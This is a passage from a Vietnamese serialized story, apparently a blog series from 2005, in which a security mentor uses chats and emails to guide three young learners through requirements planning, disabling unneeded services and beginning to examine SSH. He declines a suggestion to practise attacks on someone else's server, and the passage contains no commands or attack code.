"Ái chà, anh nói em thấy có hơi hướm của ngành thiết kế phần mềm mà tiếng Anh gọi là software engineering đó. Phải vậy không anh?"
Tôi đáp:
"Ừm... anh nghĩ em nhận xét như thế cũng đúng. Bước chuẩn bị trong ngành lập trình, trong việc viết software là một bước cực kỳ quan trọng. Thiếu nó, software sẽ thiếu chất lượng, sẽ nhiều lỗi, sẽ khó mở rộng, sẽ thiếu hiệu xuất. Nó cực kỳ quan trọng là vì quá trình tạo ra một software hoàn chỉnh rất phức tạp. Thiếu thiết kế một cách cẩn thận, khi đi sâu vào công trình và không may khám phá ra mình đã đi sai hướng thì đó là một sự đổ vỡ, thiệt hại lớn lao. Nếu mình đặt việc thiết kế một hệ thống làm việc với tinh thần tương tự như viết software thì... quả thật điều mình bàn ở đây có 'hơi hướm' software engineering. Em cứ thử so sánh việc xây một ngôi nhà với việc xây dựng một hệ thống máy tính xem; chúng có rất nhiều điểm tương đồng. Em không thể cứ nhắm mắt mà thi công rồi sau đó mới thấy mình muốn để cửa sổ chỗ này, để cửa chính chỗ kia... nhưng nhà đã xây nửa chừng rồi. Em bị lâm vào tình trạng rất kẹt. Phải vậy không?"
'docco' tiếp tục:
"Dạ nhất định rồi. Còn chuyện 'nhu cầu cụ thể' được anh đề cập hồi nãy là sao anh?"
Tôi hỏi ngược lại 'docco':
"Hì hì, giống như em đang phỏng vấn anh vậy? Vậy em hiểu thế nào là 'nhu cầu cụ thể'?"
'docco' ấp úng rồi rụt rè đáp:
"Dạ... ùm.... à.... em nghĩ.... nhu cầu cụ thể là nhu cầu cụ thể chớ là gì nữa anh? Ví dụ em cần tạo dịch vụ web, thì đó chính là nhu cầu cụ thể chớ còn gì nữa? Hay là anh ghẹo em nên mới hỏi câu này?"
Tôi cười phá lên, rồi trả lời 'docco':
"Hì hì, em có thấy anh ghẹo em lần nào chưa? . Không, anh hỏi câu này là hỏi một cách nghiêm túc đó. Tất nhiên em cần tạo dịch vụ web thì đó là nhu cầu của em, nhưng nói nó là cụ thể thì nó chẳng cụ thể tí nào."
'docco' cười trừ:
"Khì khì, em chịu thua đó. Anh giải thích dùm em tí đi?"
Tôi chậm rãi đáp:
"Giả sử như em hỏi anh, 'nhu cầu cụ thể của anh là gì nếu như anh cần tạo dịch vụ web'? thì anh sẽ chuẩn bị nhiều thứ trước khi trả lời cho em. Anh cần xác định rõ:
- website này dự phỏng sẽ có nội dung thuộc chuyên ngành gì?
- dịch vụ web ấy phục vụ ai?
- độc giả của trang web đa số là giới nào?
- dự tưởng sẽ có bao nhiêu người viếng website đó?
- kinh phí dự trù là bao nhiêu?
- mức độ quan trọng của website này thế nào?
- nếu nó bị 'chết' ngắn hạn thì chuyện gì xảy ra?
- nếu nó bị 'chết' dài hạn thì chuyện gì xảy ra?
sau đó mới đào xới đến vấn đề kỹ thuật làm sao để thoả mãn những điều đặt ra. Rồi từ đó mới có một phương án cụ thể sẽ khai triển thế nào, quy chế ra sao, cấu hình cụ thể sẽ ra làm sao, cách xử lý trong những trường hợp điển hình có thể xảy ra với dịch vụ mình tạo sẽ là gì..... và tất nhiên là bảo mật sẽ là một yếu tố quan trọng trong mỗi câu trả lời được đưa ra."
'docco' rú lên:
"Ôi trời! Anh thật sự phải chuẩn bị những thứ như thế sao anh?"
Tôi trả lời một cách ngắn gọn:
"Hẳn nhiên rồi!"
'docco' hỏi tiếp:
"Vậy việc xác định nhu cầu có liên quan trực tiếp đến vấn đề bảo mật ra sao anh?"
Tôi đáp:
"Một khi đã xác định cụ thể nhu cầu, em có thể hình thành một kế hoạch khai triển, một cái sườn rồi mới thiết lập từng chi tiết cho cái sườn này. Làm như thế em có thể tránh được những thiếu sót hay dư thừa trong khi cài đặt, điều chỉnh. Bởi thế, lỗi bảo mật sẽ giảm thiểu đáng kể. Ví dụ, sếp của em muốn em thiết lập dịch vụ ssh trên máy chủ nào đó. Nếu em xác định được dịch vụ này sẽ cho những ai dùng, bao nhiêu người dùng, truy cập từ đâu thì hồ sơ cấu hình cho nó sẽ trở nên xác thực và vừa đủ.
- Nếu dịch vụ ssh này giới hạn cho một nhóm người dùng rất nhỏ và chỉ truy cập trong nội mạng, em có thể dễ dàng áp đặt cơ chế xác thực người dùng và áp đặt cụ thể những IP nào được quyền truy cập đến dịch vụ này.
- Nếu dịch vụ này có biên độ rộng lớn hơn thì em phải ấn định cơ chế xác thực người dùng nào là tiện dụng và bảo đảm nhất, thay vì dùng password-based authentication, họ dùng key-based authentication key để xác thực chẳng hạn.
Càng nắm cụ thể nhu cầu, càng có thể hình thành một cấu hình chi tiết. Càng hình thành một cấu hình chi tiết, càng giảm thiểu thiếu sót. Càng giảm thiểu thiếu sót, tính bảo mật càng cao. Đây là giây chuyền logic đi từ 'nhu cầu' đến 'bảo mật'."
'docco' xuýt xoa:
"Quả thật bây giờ em mới biết được thêm nhiều cái mới mẻ. Những vấn đề này có phải là kiến thức trong ngành IT không anh?"
Tôi cười đáp:
"Nó không phải là kiến thức kỹ thuật theo kiểu IT = 'gõ lệnh' nhưng nó được dùng trong IT, dùng trong việc quản lý các công trình IT. Ngay cả em muốn tự viết software hay thực hiện điều gì đó, em cũng cần đến nó. Như anh đã nói ở trên, thiếu chuẩn bị thì kết quả không mỹ mãn như ý muốn là vậy."
'docco' cảm thán:
"Hoá ra bảo mật không dễ dàng chút nào. Anh chỉ nói sơ qua em đã thấy nó dính líu đến quá nhiều vấn đề khác nhau chớ không đơn giản dừng lại ở kỹ năng cài đặt và điều chỉnh. Em nghĩ việc hình thành kế hoạch, quản lý công trình là việc của đám quản lý công trình mà anh? Mình là dân kỹ thuật thì việc gì phải lo đến những thứ này?"
Quả thật 'docco' này sắc sảo lắm. Cu cậu không bỏ qua một chi tiết nhỏ nào. Tôi trả lời:
"Nói trên mặt lý thuyết thì việc lên kế hoạch và quản lý công trình là chuyện của đám project manager. Tuy nhiên, trên thực tế anh hiếm khi thấy có tay project manager nào có đủ khả năng kỹ thuật để hình thành một kế hoạch cho đẹp cả. Trên thực tế anh toàn thấy những tay này quan ngại đến yếu tố thời gian là chính. Nếu em trông chờ vào họ về việc khai triển kỹ thuật thì em sẽ bị 'dậm chân tại chỗ' bởi vì làm sao họ nắm được chi tiết kỹ thuật mà lên kế hoạch? Hoạ may em cung cấp mọi thông tin kỹ thuật cho họ như kiểu 'tư vấn kỹ thuật' và họ kết hợp lại để lên chương trình. Còn không thì công trình chẳng đi tới đâu cả . Họ đâu cần biết sshd_config hay httpd.conf cần có những gì? Họ càng không biết những dịch vụ này liên quan thế nào để ngoại mạng, nội mạng, firewall và các cơ chế bảo mật khác."
Lần này 'docco' thật sự choáng. Cu cậu gởi cho tôi các emotion icon biểu lộ sự buồn bã và phát biểu như sau:
" , càng đi vào sâu em càng thấy kinh khủng. Hình như những điều anh nói là dành cho những tay chuyên viên bảo mật hay sao đó chớ system admin bình thường làm gì mà cáng đáng nhiều thứ quá vậy anh? Có quá nhiều khái niệm mới mẻ mà em chỉ nghe đây là lần đầu. Vậy em phải học ở đâu, đọc những sách nào để nắm những chi tiết anh đưa ra vậy anh?"
Tôi hiểu 'docco' đang cảm thấy thế nào nên nói tiếp:
"Anh hiểu cảm giác của em. Em nghĩ rằng những vấn đề anh đưa ra chỉ dành cho 'chuyên viên bảo mật' sao?. Bộ em không muốn làm chuyên viên bảo mật hay sao? Cho nên, em cần biết những điều này là điều cần thiết và hợp lý. Theo anh, người làm công tác bảo mật khác hẳn với một system admin hoặc network admin bình thường. system admin hoặc network admin dừng lại ở mức độ: cài đặt, thiết lập dịch vụ và một phần nào đó khá hạn hẹp liên quan đến việc kiện toàn bảo mật theo đề nghị của 'chuyên viên bảo mật'. Họ chỉ dừng lại ở mức độ 'làm sao cho dịch vụ chạy ổn định'. Trong khi đó, chức năng của 'chuyên viên bảo mật' rộng hơn và sâu hơn. Chuyên viên bảo mật là người xác định những dịch vụ nào nên chạy, thẩm định những dịch vụ đưọc chạy phải ở mức an toàn và tiện dụng như thế nào. Để có thể xác định và thẩm định như thế, họ là người nắm trọn bộ mô hình mạng từ thấp đến cao. Nếu ai cho rằng, chuyên viên bảo mật thì chỉ biết firewall, IDS, proxy.... thì theo anh, đó là một sự ngộ nhận"
'docco' lên tiếng:
"Vậy giới hạn trách nhiệm và chức năng của 'chuyên viên bảo mật' nằm ở dâu anh?"
Tôi đáp:
"Anh nghĩ rằng, giới hạn trách nhiệm và chức năng thực sự của 'chuyên viên bảo mật' nằm ở mọi phương diện xây dựng và bảo trì cho một hệ thống. Từ lúc có nhu cầu xây dựng dịch vụ cho đến lúc đã hình thành dịch vụ và kéo dài suốt quá trình hoạt động của dịch vụ đều có 'chuyên viên bảo mật' nhúng tay vào. Ngay cả khi dịch vụ này biến chuyển, nâng cấp và mở rộng sau này cũng cần phải có sự tham gia của 'chuyên viên bảo mật'. Anh nghĩ rằng chuyên viên bảo mật không dính đến chuyện quyết định bỏ ra bao nhiêu kinh phí để hình thành hệ thống mà thôi. Tuy nhiên, chuyên viên bảo mật cũng có ít nhiều ảnh hưởng đến con số kinh phí.
Tất nhiên những điều anh đưa ra ở đây là những điều chỉ có các tổ chức có lớp lang mới thực hiện. Những tổ chức thiếu sắp xếp thì đây là một khái niệm lạ lẫm và đôi khi còn bị xem là 'phí công sức, phí thời gian'."
'docco' cảm thán:
"Nhìn một cách tổng quát thì thấy, nếu một tay chuyên viên bảo mật dùng kiến thức của mình để thâm nhập thì nguy hiểm biết chừng nào anh nhỉ?"
Tôi cười, hỏi lại:
"Lý do nào làm em nghĩ như thế vậy?"
'docco' ngần ngừ rồi trả lời:
"Ùm... à... dạ... em nghĩ là một người hiểu biết thấu đáo cấu trúc các hệ thống, nắm rõ các ngóc ngách cấu hình, tường tận đường đi nước bước thì ắt phải thâm nhập rất dễ dàng. Không biết em nghĩ thế có đúng không?"
Tôi cười, đáp:
"Tổng quát mà nói thì em nhận xét như thế là đúng. Tuy nhiên, trên thực tế các cấu trúc hệ thống và các tập tin cấu hình rất đa dạng. Một chuyên viên bảo mật có thể thẩm định dễ dàng hơn và chính xác hơn vì nắm vững một số nguyên tắc nhất định. Bởi thế khả năng và kết quả thâm nhập của hắn cao hơn một người không có cùng mức độ kiến thức như hắn. Tuy nhiên, quá trình thẩm định vẫn phải mất thời gian. Em nhận xét như thế có nghĩa là em công nhận 'biết bảo mật trước rồi mới thâm nhập'?"
'docco' ý kiến:
"Hì hì, anh trêu em hoài. Lần trước em đã công nhận chuyện này rồi mà. Ngay từ lúc anh nêu ra trường hợp ai đó 'thâm nhập' được vào một máy chủ nhờ phương tiện hay 'công thức' nào đó xong rồi ngồi... ngó vì không biết làm gì nữa, lúc ấy em đã công nhận quan điểm: phải có kiến thức thật sự mới có thể thâm nhập một cách đúng nghĩa được."
Tôi đáp:
"Vậy thì tốt "
'docco' hỏi thêm:
"Khi nào tiện, anh cho em hỏi thêm về các kỹ thuật nhận định "reconnaissance" nha anh? Em muốn biết kỹ thuật này đòi hỏi những gì? quá trình thực hiện ra sao và phân tích kết quả tìm được như thế nào. Em nghĩ để kiện toàn bảo mật, việc tự thẩm định hệ thống mình tạo ra bằng "reconnaissance" không thể thiếu được."
Tôi cười đáp:
"Anh sẵn sàng thôi. Tuy nhiên, chắc để lần tới đi em nha? Anh em mình 'đà khía' hơi lâu rồi đó. Anh phải chuẩn bị vài thứ để ngày mai còn đi làm nữa. Em nhớ lưu lại nội dung 'lai rai' của anh em mình hôm nay để Hưng và Khoa đọc với nha? Còn chuyện cấu hình 'con' server của bọn em tới đâu rồi?"
'docco' nhanh nhẩu:
"Thôi anh à, em nghĩ là bọn em cần nhiều thời gian cho chuyện này hơn dự tính. Chưa hình thành được nhu cầu cụ thể, chưa cài đặt cho ổn thì làm sao nói đến chuyện bảo mật hay thâm nhập nó được anh? Em không biết thằng Khoa với thằng Hưng nghĩ sao chớ riêng em thì em nghĩ có lẽ nên thong thả."
Tôi cười phá lên:
"Ái chà, "chưa hình thành được nhu cầu cụ thể"? Hì hì, em ứng dụng ngay vậy? . Em còn cần hỏi câu hỏi đầu tiên không?"
'docco' ngượng ngịu:
"Anh cứ diễu em mãi. Học phải đi đôi với hành mà anh. Ngẫm nghĩ em thấy quả thật nếu không biết thiết lập server để làm gì, để đáp ứng cái gì thì không thể tạo nên cấu hình cho nó được. Nếu thế thì khoan hẵng nói chuyện bảo mật cho nó. Hì, anh vẫn nhớ câu hỏi đầu hả? Tất nhiên là em không cần phải hỏi câu hỏi đầu tiên nữa anh ."
Tôi rất vui khi nghe 'docco' tổng kết như thế. Tôi bảo:
"Tốt lắm. Em nhận ra được điều này thì có nghĩa lần này anh em mình nói chuyện không chỉ 'lai rai' mà có kết quả hẳn hòi: nhu cầu cụ thể là một yếu tố quan trọng để hình thành việc bảo mật. Nếu nhìn từ phía 'thâm nhập', anh tin rằng em cũng thấy được mặt trái của nó như thế nào rồi hả?
Thôi, anh phải đi đây Duy. Anh em mình gặp lại sau hả? Chào em."
'docco' chào tạm biệt:
"Em sẽ thông báo tình hình lại với hai đứa kia. Chào anh."
15/8/2005
<còn tiếp>
|
|
|
9. "Hai mặt" của vấn đề - cơ chế làm việc:
Không ngoài dự phỏng, tôi liên tục nhận mail từ bộ ba Khoa, Duy, Hưng. Một lần nữa, tôi cố trả lời hầu hết các e-mail từ bộ ba này bằng thông điệp ngắn gọn:
"Em nghĩ điều em thắc mắc là 'what' hay là 'why'? Anh nghĩ nó là 'what' chớ chẳng phải là 'why' cho nên em nên xem sách đi rồi hỏi anh cái 'why' "
Tuy vậy, bộ ba này không hề mệt mỏi trong chuyện hỏi, hỏi và hỏi. Trong tuần này, tôi nhận được e-mail từ "haothu" Khoa có một phần nội dung như sau:
"Anh thân mến,
Rốt cuộc bọn em đã đi đến quyết định tạo một máy chủ gồm có các dịch vụ: web, mail và ssh cho remote control bởi vì thật ra những dịch vụ râu ria khác không cần thiết. Bọn em chia 'công tác' ra thành ba phần: Hưng lo việc thiết kế và cài dịch vụ web, em thì lo dịch vụ mail còn Duy thì lo dịch vụ secure shell. Tuy nhiên, khi ba dịch vụ này hoàn thành, bọn em phải cùng điều chỉnh chi tiết cho mỗi dịch vụ. Cái khó là bọn em (em và Duy) chẳng có con server nào để vọc cho nên phải chạy qua nhà thằng Hưng thường xuyên. Thời gian thì rất hạn hẹp nên sau khi hỏi thăm ý kiến của anh nhiều lần, bọn em cũng chưa hoàn tất cái gì cho ra đầu đũa. Em có vài điều cần hỏi anh, mong anh trả lời dùm em (nếu rảnh):
1. nếu bọn em chỉ dùng ba dịch vụ web, mail và ssh, làm cách nào mình có thể tắt hết các dịch vụ khác không cần thiết hở anh? hay là dùng firewall để che hết những dịch vụ không cần thiết và không phải lo những dịch vụ không cần thiết kia?
2. sau khi ngâm cứu, bọn em hiểu rằng nếu dịch vụ web chỉ phục vụ dữ liệu tĩnh (static content) thì cơ hội có thể thâm nhập và tấn công dịch vụ web thành công sẽ rất thấp. Bởi vậy bọn em nghĩ đến chuyện tạo dịch vụ web có phục vụ dữ liệu động (dynamic content). Nếu thế, phải dính đến php, CSDL (mysql hay cái gì đó) mà bọn em chẳng đứa nào rành mấy cái món này. Anh nghĩ bọn em nên dành thời gian học thêm về chuyện thiết lập server chạy php, thiết lập mysql không anh? Nếu vậy thì biết chừng nào bọn em xong cái server để mà... quậy bây giờ?
3. nếu câu hỏi thứ 2 không có cách giải quyết liền, em đề nghị thế này: hay là mấy anh em mình chọn một máy chủ nào đó có sẵn trên web rồi cứ dùng nó mà... khai thác. Được không anh?
Mong anh sớm hồi âm bọn em.
Thân,
Khoa."
Đọc e-mail này của "haothu" Khoa tôi không hỏi nghĩ ngợi để tìm cách trả lời cho đúng mức. Hiển nhiên "haothu" Khoa nhà ta rất hăm hở với chuyện thâm nhập và tấn công nên mới đặt vấn đề như trên. Phải sau hai ngày và sau nhiều lần tranh thủ khi rảnh tôi mới hoàn thành mail trả lời cho Khoa như sau:
"Khoa thân mến,
Anh mất hai ngày mới có thể trả lời mail cho em. Trước tiên, anh có nhận xét là em vẫn chưa (muốn) nhìn vấn đề từ hai phía mà em chỉ thích chuyên chú theo hướng tấn công. Nếu em chưa có thể thiết lập, cài đặt một máy chủ có các dịch vụ nào đó ở mức đạt thì em không thể tấn công và khai thác một máy chủ khác cũng được thiết lập ở mức đạt này hoặc hơn. Anh hy vọng sau khi anh em mình trao đổi sâu hơn vào từng vấn đề, em sẽ hiểu ý anh. Bây giờ anh trả lời các câu hỏi của em tuần tự như sau:
1. trên nguyên tắc, nếu em dùng một dạng firewall nào đó và cản lọc trọn bộ các dịch vụ trên máy chủ, ngoại trừ các dịch vụ em cho phép thì các truy cập từ bên ngoài đến những dịch vụ đã bị cản lọc không thể xảy ra được (nếu như firewall của em chặt chẽ). Tuy nhiên, em nên xét lại các trường hợp có thể xảy ra như sau:
- chuyện gì xảy ra nếu firewall của em bị hổng chỗ nào đó và nó cho phép truy cập đến vài dịch vụ 'chết người'?
- chuyện gì xảy ra nếu tài nguyên của máy chủ có giới hạn nhất định nhưng lại tiêu tốn cho các dịch vụ không cần thiết? Hãy nhìn nhận vấn đề ở khía cạnh em đang thiết kế một máy chủ cung cấp dịch vụ thật sự và có hàng ngàn người truy cập nó xem?
Bởi thế, ý kiến cá nhân của anh là: tắt bỏ mọi dịch vụ không cần thiết cho dù em có firewall bảo vệ và cho dù firewall của em hoàn toàn vững.
Để tắt bỏ các dịch vụ trên máy thì có 2 phần chính em cần xem xét: dịch vụ được tạo ra từ inetd/xinetd và dịch vụ tạo ra từ run level scripts (trong rc.d). Nếu em dùng RedHat hoặc các distro dựa RedHat thì em có thể dùng tiện ích chkconfig để kiểm tra xem có những dịch vụ nào đang hoạt động trên máy. Nếu em không dùng RedHat thì điều em cần tìm hiểu chính là inetd/xinetd và dịch vụ tạo ra từ run level scripts. Tại sao em nên cần tìm hiểu những cái này? Lý do: một khi đã hiểu rõ cơ chế khởi tạo dịch vụ của một *nix server, em sẽ bắt đầu nắm được điểm mạnh của nó ở đâu, điểm yếu của nó ở đâu. Nếu em có cái nhìn thiên về hướng "exploit" thì tự nhiên em sẽ thấy chúng dễ (hay khó) bị khai thác như thế nào nếu như điều chỉnh không kỹ (hoặc kỹ). inetd là gì?, xinetd là gì?, run level là gì?, initialization / startup scripts là gì?
2. Bọn em đã xác định được 'static web' ít bị khai thác hơn 'dynamic web' thì đã hình thành một cái nền khá tốt để tạo dịch vụ web rồi đó. Tất nhiên muốn nó 'động' thì em phải làm cho nó 'động'. Không nhất thiết phải dùng php mà bất cứ cái gì (cgi, asp, jsp...) đều được cả. Bọn em sở trường 'món' nào thì cứ dùng 'món' đó. Cái chính mình cần khai phá ở đây là thể trạng 'động' của một web server và nó dẫn đến những lỗ hổng gì chớ không cần phải đi sâu vào từng công nghệ để phân tích và ứng dụng chúng. Nếu bọn em chưa hề có sở trường 'món' nào thì phải chọn lấy một 'món' và bắt đầu học + khai triển. Em có thể phàn nàn là: học như thế biết chừng nào xong và anh có thể trả lời là: chừng nào em không biết php làm việc ra sao, chừng ấy em không thể khai thác php. Câu này dành cho mọi công nghệ em muốn dùng.
3. Câu thứ ba làm cho anh phải đắn đo trước khi trả lời em. Điều anh muốn bàn thảo với bọn em lúc này là hai mặt của vấn đề. Đề nghị của em có một số điểm khá kẹt:
- nó làm hỏng tinh thần khai phá hai mặt của vấn đề.
- nó đi ra ngoài khuôn khổ học tập (anh không chủ trương chọn đại một server nào đó không phải của mình để làm thí điểm).
- nó sẽ không giúp bọn em đi cho đúng bước và từ đó khó hình thành một cái nhìn đúng đắn về security.
Qua những điểm trên, anh thấy đề nghị thứ ba này của em không thích hợp. Nếu như em đã đọc kỹ những phần anh và 'cuti' Hưng trao đổi trước đây, em ắt sẽ thấy rõ một điều anh muốn nhấn mạnh: tiếp cận sự việc một cách có quy cách và có ngọn ngành là một điều quan trọng hàng đầu. Nếu bọn em cảm thấy chưa sẵn sàng thì mình dời sang tuần sau. Em thử hội ý với Hưng và Duy xem sao rồi cho anh biết nha.
Thân."
Một ngày, hai ngày rồi ba ngày... bộ ba HKD (Hưng, Khoa, Duy) hoàn toàm im ắng. Sao vậy nhỉ? Đến ngày thứ tư, tôi nhận được e-mail từ 'docco' Duy có nội dung như sau:
"Anh kính mến,
Đầu thư em xin chúc anh một ngày làm việc vui vẻ. Em rất cảm ơn anh đã dành nhiều thời gian cho bọn em.
Em mạn phép gởi anh bức e-mail này vì sau khi thằng Khoa nhận được mail của anh, nó than như bọng. Nó sợ trả lời anh không khéo lại bị mắng nữa. Bọn em cùng đọc mail của anh trả lời cho Khoa và đứa nào cũng ngại. Cho nên, đẩy tới, đẩy lui rốt cuộc em phải là người hồi âm cho anh. Bản thân em thì em thấy việc anh từ chối đề nghị của thằng Khoa là hoàn toàn hữu lý. Có lẽ bọn em đứa nào cũng nôn nóng muốn thấy kết quả mà thôi chớ chẳng phải bọn em muốn phá phách gì đâu. Mong anh hiểu cho bọn em.
Đọc e-mail của anh, em thấy rằng có quá nhiều điều bọn em phải chuẩn bị, phải đi qua, phải thực sự lãnh hội trước khi có thể nhìn vấn đề từ hai phía như anh đưa ra. Lý do rất đơn giản anh ạ. Em nghĩ, cho dù bọn em có thể thiết lập, cài đặt một máy chủ cho nó chạy được (dựa vào e-book và những tài liệu tìm được trên Internet) nhưng để liên hệ đến cấp độ bảo mật hay tấn công, đây là một điều hết sức khó khăn. Bản thân em chưa hình dung ra được cái giềng mối giữa chuyện thiết lập một một máy chủ cho nó chạy và một máy chủ cho nó chạy nhưng bảo mật. Đừng nói chi chuyện khai thác nó. Em xin đơn cử trường hợp SSH chẳng hạn vì nó là phần dịch vụ em phải lo.
Em đã theo một vài tài liệu how-to để cài SSH thành công. Nó làm việc ngon lành nhưng ngẫm nghĩ mãi em không thể tìm ra chỗ yếu của nó ở đâu để thắt chặt (nói theo phương diện bảo mật) và để khai thác (nói theo phương diện tấn công). Em cũng đã tìm hiểu các lỗi xảy ra với open-ssh trên Internet nhưng đến thế là hết. Em biết chắc phiên bản openssh này em dùng không bị CRC exploit vậy thì muốn thắt chặt thì phải làm sao anh?
Thằng Hưng cũng lâm vào tình trạng không khác gì em cả. Nó chọn phiên bản mới nhất của Sendmail về cài, cũng khổ sở với mấy cái .cf và .m4 và rốt cuộc cũng tạo được dịch vụ smtp. Tuy nhiên nó cũng đang nặn óc suy nghĩ xem hệ thống mail của nó có gì không vững. Em thì hẳn nhiên là mù tịt chuyện này vì em chưa bao giờ thiết lập sendmail nên cũng chẳng góp ý gì được cho nó. Tội nghiệp, nó thức suốt, ngoáy phá rồi lầm bằm chửi rủa một mình mãi.
Riêng thằng Khoa thì chẳng tiến triển gì mấy ngoài việc hoàn tất xong cái apache với một trang index.html. Nó đang kẹt cứng vì phải chọn một trong mấy công nghệ php, asp, jsp hay cgi và cái nào cũng đòi hỏi phải nghiên cứu thật sự.
Em nghĩ có lẽ mấy anh em mình nên bàn đến từng dịch vụ, bàn điểm mạnh và điểm yếu của từng dịch vụ. Từ đó bọn em mới có được cái 'hướng' để khai triển. Anh nghĩ sao?
Mong anh sớm cho bọn em ý kiến.
Em chào anh.
Duy."
Tôi nhận được mail của "docco" Duy và cảm thấy phấn chấn bởi vì điều quan trọng nhất là cả bọn trong bộ ba kia đều cố gắng tiếp cận vấn đề một cách nghiêm túc và say mê. Thiếu nền tảng này, mọi dự định khai phá sẽ chẳng đi tới đâu. Tôi liền hồi âm cho "bộ ba" như sau:
"Chào Hưng, Duy và Khoa,
Anh đã nhận được mail của Duy, đã đọc. Anh dự phỏng thế nào bọn em cũng gặp những trở ngại. Mình nên xem những trở ngại này là chuyện hiển nhiên và đừng vội nản. Bọn em nên tìm hiểu kỹ lưỡng hơn cơ chế làm việc của từng dịch vụ mình muốn thiết lập. Đây là chuyện cần thiết vì nó sẽ giúp cho việc bàn thảo của mấy anh em mình dễ dàng hơn.
Chiều thứ Bảy tuần tới anh rảnh. Anh sẽ online khoảng 1 giờ trưa giờ VN. Nếu bọn em thấy ổn thì cho anh biết nha.
Thân."
Ngày hôm sau tôi nhận được một thông điệp ngắn gọn từ "cuti" Hưng trên YIM:
"Chào anh già, bọn em sẽ online lúc 1 giờ chiều thứ Bảy tuần sau như anh đã hẹn."
Thêm một tuần lễ trôi qua. Tôi chẳng hề nhận thông điệp nào từ bộ ba. Có lẽ cả bọn đang 'chúi đầu' vào xem xét cái gọi là "cơ chế làm việc". Chiều nay, chiều thứ Bảy, tôi log vào YIM như đã hẹn. "cuti" Hưng và "docco" Duy đang ngồi chờ. "haothu" Khoa đâu nhỉ? Tôi gởi "cuti" một thông điệp:
"Hello Hưng, anh đã online đây. "haothu" Khoa đâu rồi?"
"cuti" bèn gởi ngay 'lời mời' để vào conference, kèm theo một thông điệp:
"Dạ, thằng Khoa bị bệnh rồi anh. Em gọi dtdd cho nói thì thấy nó ho khù khụ, than đau đầu, đau cổ búa xua."
Tôi tiếp nhận lời mời của "cuti" rồi tiếp tục:
"Vậy hả? tiếc thật. Vậy em nên lưu lại nội dung trao đổi của anh em mình cho nó đọc không thì nó bị thiếu liền lạc nha. Trong bộ ba bọn em, anh hơi ngại cho nó vì nó có vẻ thiếu kiên nhẫn nhất."
Lúc này "docco" Duy lên tiếng:
"Chào anh, anh khoẻ không? Bọn em biết rõ tính thằng Khoa mà. Anh nhận xét đúng lắm. Nó thì lúc nào cũng muốn liền liền. Chuyện gì thích là làm ngay, không cần suy nghĩ. Em với nó cứ cãi nhau hoài về khoản này. Thằng Hưng thì... trung tính hơn nên em thấy trao đổi với nó dễ hơn."
Tôi gật gù. Trong một không gian bé nhỏ, với phương tiện ngôn ngữ 'cà rỡn' mà đám chúng tôi đang trao đổi, vậy mà cái gọi là 'cá tính' vẫn hiển hiện một cách thật rõ ràng. Tôi đáp:
"Ừa, anh cũng thấy như vậy. Bây giờ anh em mình bắt đầu chớ? Anh đề nghị mình nên phân tích từng dạng dịch vụ thì mới có thể dễ hình thành "hai mặt vấn đề". Bọn em thấy sao?"
"cuti" đáp lời ngay:
"Dạ, em thấy cách đó hay nhất. Mình bàn về sendmail trước nha anh? "
"docco" Duy xen ngay vào:
"Thôi đi mày, nhào vô là muốn tranh tiên liền hả? Công sức tao gởi mail cho ảnh thì phải được đền bù là đứng đầu danh sách chớ "
Tôi đáp:
"Cái nào trước cũng được. Cái nào cũng quan trọng cả. Điều mình cần bàn ở đây không phải cách cài đặt và thiết lập để một dịch vụ chạy được mà là bàn về những điểm có thể thắt chặt (hoặc có thể khai thác) sau khi dịch vụ này đã hoạt động. Anh nghĩ mình nên khởi đầu với SSH vì đây là phương tiện cho phép truy cập trực tiếp vào hệ thống để điều khiển hệ thống."
"docco" đắc thắng:
"Hì hì, thấy chưa Hưng? Mày đòi tranh tiên làm chi cho mệt."
"cuti" tiu nghỉu:
"Thôi, nhường cho mày đi tiên một lần cũng được."
Tôi cười, đáp:
"Làm như oánh cờ tướng không bằng. Đi tiên với đi hậu . Rồi, Duy, em đặt vấn đề đi."
"docco" Duy ngơ ngác:
"Dạ.... đặt vấn đề... sao anh?"
Tôi đáp:
"Ùm... đặt vấn đề là cho đến lúc này em đã làm được gì với SSH, đã hiểu những gì về cơ chế làm việc của SSH và lý do tại sao em không tìm ra được chỗ nào để thắt chặt nó."
"docco" Duy im lặng một đỗi rồi bắt đầu:
"Em hiểu rằng SSH là một phương tiện, một dịch vụ cho phép người dùng truy cập từ xa vào để điều khiển một hệ thống nào đó. Sở dĩ nó là secure shell vì thông tin gởi / nhận từ hai đầu được hoàn toàn mã hoá. Nói về mặt thắt chặt, em đã thử những tài khoản không tồn tại để truy cập và ssh hoàn toàn từ chối, em không biết phải làm gì khác. Nói về mặt khai thác, em cũng thử truy cập từ máy khác vào bằng các tài khoản 'có thể đoán được' nhưng cũng không có cách nào vào được. Đến giai đoạn này em hoàn toàn bế tắc "
Tôi gợi ý:
"Nói về phương diện 'cơ chế làm việc' của ssh, em thử phân tích xem: để ssh có thể làm việc được, nó cần những 'cơ phận' nào?"
"docco" Duy rụt rè:
"Dạ... tất nhiên là mình phải cần chương trình ssh thì nó mới tạo được dịch vụ chớ anh?"
Tôi khuyến khích:
"Đúng lắm. Em thử liệt kê một cách tổng quát xem, gói ssh (chắc em dùng rpm để cài?) gồm có những gì trong đó?"
"docco" Duy hơi ngập ngừng như thể cu cậu không tự tin ở điều mình sắp nói:
"Dạ... em nghĩ... em thấy... em cài gói ssh từ rpm đúng rồi đó anh. Nhưng em thấy nó có tùm lum thứ cả. Anh muốn em liệt kê ra hết hả?"
Tôi cười, đáp:
"Không em, anh muốn em liệt kê ra hết làm chi? Anh chỉ muốn em có nhận định tổng quát về một gói chương trình thôi. Từ đó em mới hình thành được cơ chế làm việc của nó. Thế này, để anh thử 'nhận định' theo kiểu của anh hả?"
"docco" vội vã đáp:
"Dạ, anh 'thử' đi. Ngay từ đầu anh bảo em 'đặt vấn đề' làm em khiếp vía nên không biết phải nói thế nào cho suông nữa."
Tôi trấn an "docco":
